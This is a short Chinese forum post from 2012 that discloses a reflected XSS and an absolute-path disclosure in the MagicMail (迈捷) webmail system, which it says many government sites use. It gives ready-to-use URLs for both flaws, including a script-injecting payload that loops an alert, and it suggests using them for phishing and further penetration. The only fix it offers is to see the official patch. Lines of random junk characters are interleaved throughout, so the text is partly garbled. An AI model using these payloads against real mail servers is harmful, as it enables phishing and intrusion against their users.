今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
! l3 [0 Z: E6 ~# b L0 H3 c7 [' n8 V( V+ k) Z
1 `: l: d% u& q( ~# g. N
包含 一个反射性XSS 以及 绝对路径泄漏7 a7 ^( A# b! w5 w; o+ C- `, g: `; ]
看了看 貌似全部是linux的。
+ ]1 G* Q3 f" G- V# R
+ m5 S0 F3 D8 f关键字：迈捷邮件系统 by MagicMail% g0 y" `. f$ i5 |" w
/ G" P4 |/ x* I
可以看到很多政府网站都用这个邮件系统
( i! R' i5 A. L6 h: _
( R. F5 K! { K# k& M! z绝对路径 http://madman.in/index.php?login_type=declare&language=
( S7 g0 d0 B/ c% B
; E( d' O9 o" I1 G! u' M* h. t, K$ K8 Q" ?- O! g2 v
: H/ ?# ?1 B3 o
XSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
$ w, z2 k" z0 u6 E4 S- D# z6 f0 b5 W4 M4 V5 _
- I0 Y! p" x' S' p- B0 n; W U
0 `1 {. g) d- T- v. l* X7 Z' X& }% g虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
( k4 }5 T' h ~) q
" w5 {" `+ B! P修复方案：看官方补丁吧。. T) n" a; n6 g: c
|
发表于 2012-11-9 20:38:41
收藏
支持
反对